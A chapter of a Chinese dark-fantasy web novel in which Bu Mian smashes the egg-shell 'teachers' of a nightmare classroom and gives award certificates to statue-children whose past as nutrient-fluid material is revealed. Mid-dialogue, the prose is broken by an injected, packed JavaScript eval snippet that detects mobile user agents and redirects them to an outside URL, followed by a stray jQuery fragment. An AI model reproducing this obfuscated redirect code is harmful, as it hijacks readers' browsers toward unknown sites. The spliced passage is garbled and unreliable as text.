对于自己待过的教室,雕塑们大多是有些恐惧,它们不敢反驳空壳所说的言论,像是奉为圣旨那样尊重着那些言论,直到自己的大脑被指控,成为一个小小的服从者。
如果说老师代表了权威,那么步眠的这个举动,无疑是在挑战权威。
这个时间点,教室中空无一人,步眠几乎是通畅无阻的来到了房间中,反倒是雕塑看着曾经让自己反复结霜的地方,有些不敢靠近。
元平雅:“她这是,在做什么?”
当时元平雅没有跟着步眠,也没有看见那些雕塑们上课的景象,骤然看进去,只能看见那些排列的整整齐齐的蛋壳。
也许是直觉,元平雅在看见那些蛋壳的一瞬间,就泛起了一身鸡皮疙瘩。
太规整了,规整的像是被排列的一样。
元平雅其实一直不太喜欢小大人这个词语,看似是夸奖了孩子的董事,但是一个孩子年幼的时候,为什么会那么的懂事,被磨灭了孩子的天性这件事,一定是对的吗?
只见步眠高高举起刀背,几乎是一下一个,咔嚓一声,看起来巨大厚重的蛋壳,在她的手下瞬间变得七零八落起来。
雕塑们站在后门,它们拥挤着,却没有任何一个雕塑阻止步眠。
剩下的雕塑并不多,乌云和兰微渺一起消失不见,冰块和王五一起死亡,现在剩下的,仅仅只有水汽、冰块和玻璃。
水汽忍不住爆发出了一声惊呼声,“我天……她这是在做什么?”
无一例外的,雕塑们几乎是从心底,生出了一丝快感。
它们其实并不喜欢在教室中的时候,几乎所有的天性都被抑制,所有本来可以以自己为主位的思想统统后退。
在这些空壳被喊做老师的异端中,它们只需要理解监狱的苦心,不需要自己的思想,只要按照指令,等待自己的内脏被挖空,然后,走到那个高高的营养液的罐子中,直到自己成为其中的一环。
“云朵。”步眠的手上不知道什么时候找到了小红花的盖章印,她站在墙面上,没有沾染印泥,却能印出一个又一个的小红花。
“我从不认为,我的性格需要标签断定,我也不认为,我深如渊海的知识需要被一张薄薄的纸张和几近于主观的答案批改,我拥有无限可能。”
玻璃低低的声音引起了其它几个雕塑的注意,水汽问:“这是你之前监护人说的吗?”
不知为何,雕塑明明是没有视线方向的,可是水汽就是觉得,对方的视线一直追随着步眠。
“是啊。”它说。
原本云朵空荡荡的一行在瞬间印上了不上的小红花,不仅是云朵,还有其它所有不见以及步眠没有见过的雕塑,都被印上了密密麻麻的小红花。
上面的名字,不偏不倚不多不少,正好九个。
“一个孩子,是需要听话的。”
那是云朵脑海最深的声音,那道声音告诉它,“妈妈需要这些营养液,而云朵可以成为营养液的制造者,去吧,等营养液发售了,那些人会永永远远记得云朵的。”
它的意识好像和以前的自己一样,沉入了那深不见底的水中,内脏被腐蚀的一干二净,只剩下躯壳成为了可以分解营养液的人。
好疼啊,妈妈。
云朵在心里想,可是营养液从她的耳鼻中进入,几乎让她睁不开眼,看不见那些事情。
她不知道自己坚持了多久,直到她抬起头,模糊间看见了一个金色头发的男性。
西纳德,是被姐姐最后收养的孩子,云朵最开始最照顾他,不希望他在这里觉得尴尬不开心。
现在他已经成年了,处于长高的阶段,身体迅速地抽条,他身形挺拔脸上的五官熟悉又陌生。
她觉得自己的耳朵不应该那么好,可是她就是听见了,西纳德在外面和那些人的交谈。
红姐的脸上带着赞叹,“活在魇中的人果然可以更好的解析营养液中的毒素,上天入地,哪怕是舒家,也找不到这么好的原料的。”
西纳德掀起眼皮,看着自己儿时的玩伴在营养液中沉浮,他什么都没说,云朵也不能从他的眼中找到一丝悲悯。
西纳德是所有人中,唯一有名有姓的,他知道自己来自什么地方,知道自己的父母是谁,而他们只是身体残缺的孩童,如果不是被姐姐捡到,活不过岚观的严冬身体残缺的孩子。
云朵是一个爱美的小姑娘,姐姐曾经送给她的蝴蝶结,在西纳德被众星捧月送着离开的脚下,他没有回头更没有低头,也许是以为是什么垃圾,但那不会影响他的步伐了。
云朵的记性很好,她记得每一个孩子的不同,记得冰块是因为过度肥胖被抛弃,是因为激素药;记得乌云总是穿着厚厚的衣服,因为她的上半身不符合正常人的生理结构;记得最矮小的水汽,每次有吃食,就会给她分一些。
也记得玻璃,记得她总是阴暗的地方,认为自己是苔藓,直到代替别人做实验,浑身都是可怖的植物。
记得每一个人的笑和姓名。
姐姐总说,等她们成年了,就可以分担自己的事情了,她们可以做一些力所能及的事情,帮忙减轻家里的担子。
可这是一个谎言。
因为所有人都是被抛弃,即使不被抛弃,被检测到,也是要被销毁的残次品,她们只能报团取暖,直到被抱有目的地实验室找到。
她在营养液中沉溺,而她以为的亲人踩着她的尸体往前走,道路上是花团锦簇。
很快,她就不动了,只剩下一层薄薄的躯壳,冰晶在她的身上凝结,变成洁白类似于石膏的部分。
“现在,到了一周一次的颁奖活动,我要给你们所有人,颁发最优秀的证书。”步眠站在前面,她抽了好几张奖状,靠在黑板上,嘴角带着笑意,“谁先来?”
步眠砸碎的不仅是在魇中一个陈设,更像是砸碎了一个一直控制着他们的魔咒。
玻璃最先上前,她看着步眠,低声道:“我先来。”
“好,玻璃小姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792102|169863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在最近的一周中认真听课做好了自己,是一个乖宝宝。”
鲜红的奖状落在玻璃的手中,它低下头去看,泪水似的东西从层层的绿植滴落到步眠的手中。
有了开头,剩下的事情就好办了不少,云朵没有再提起丢手绢的事情,步眠给她奖状时,想了想,咬破了自己的手指,涂在雕塑苍白的唇上。
好在雕塑本来就是顿住的,就算是它突然僵住,也不会有人发现。
“我之前看你拿会掉色的树枝画眉,但是没有画到重点,才滑落到身下,看起来像是裂缝。”
这就是步眠当时给雕塑刮墙漆,发现怎么没有凹凸,而是很平坦的样子。
云朵:“……我还以为,你没有发现。”
毕竟当时步眠什么都没说,当做没看见的样子,云朵当然会以为她是没有看见。
“走,吃顿好吃的庆祝下。”
一行雕塑像是小鸭子跟着妈妈在后面行走一样,元平雅虽然不知道步眠在做什么,但是几乎是所有雕塑对她的态度都软化了不少,尤其是云朵。
步眠在前面饭前饭后,而云朵也抓住了一个小小的盘子异端,它看向步眠,似乎在询问她要不要吃这个。
步眠诡异的顺摸了一顺,她问:“所以,你们雕塑真的吃这些异端?”
也就是说,当时云朵是真的想给她吃东西,而不是为了挑衅或者下马威。
“吃啊,你们不吃吗?”云朵思忖片刻,害怕步眠觉得自己骗她,当即就将一个盘子异端在嘴中咬碎,那异端很轻的扭动了一下,不动了。
步眠试探性的咬了一口,发现咬不动,当即放弃了这个选项。
她找啊找,没有找到可以吃的食物,但找到了兰微渺藏在食堂中的营养液。
也许是觉得拿在身上太费劲了,还不如找一个地方把东西安置了,吃饭的时候也好找,但想着人家毕竟是被拿来制作营养液的,步眠拿这东西给人吃,就有点阴损了。
“这是,营养液吗?”云朵不知道什么时候出现在她的身后,“可以给我尝尝吗?”
步眠一怔。
云朵说:“虽然我被拿去做营养液,但其实,除了被浸泡在还没有消过毒的营养液中,我并没有喝过经过处理后的营养液。”
除了被姐姐带回来的那些质量不大好的。
不只是云朵,它们都有些好奇,“是啊,毕竟是自己生产的,能不想喝吗?”
云朵:“直接浇在我的头上就好了。”
步眠打开盖子,将营养液倒在雕塑的头上,几个雕塑从腹腔中发出类似于咋舌的声音,半晌才评价道:“和呛住我口鼻的味道差不多。”
水汽:“没有什么饱腹感,是因为我现在不是人类了吗?”
步眠不知道,她看着几个雕塑,问:“我要怎么样,才能送走你们。”
玻璃:“送我们离开循环吗?”
步眠一怔,她没想到玻璃是知道自己在循环中的,半晌,才点头。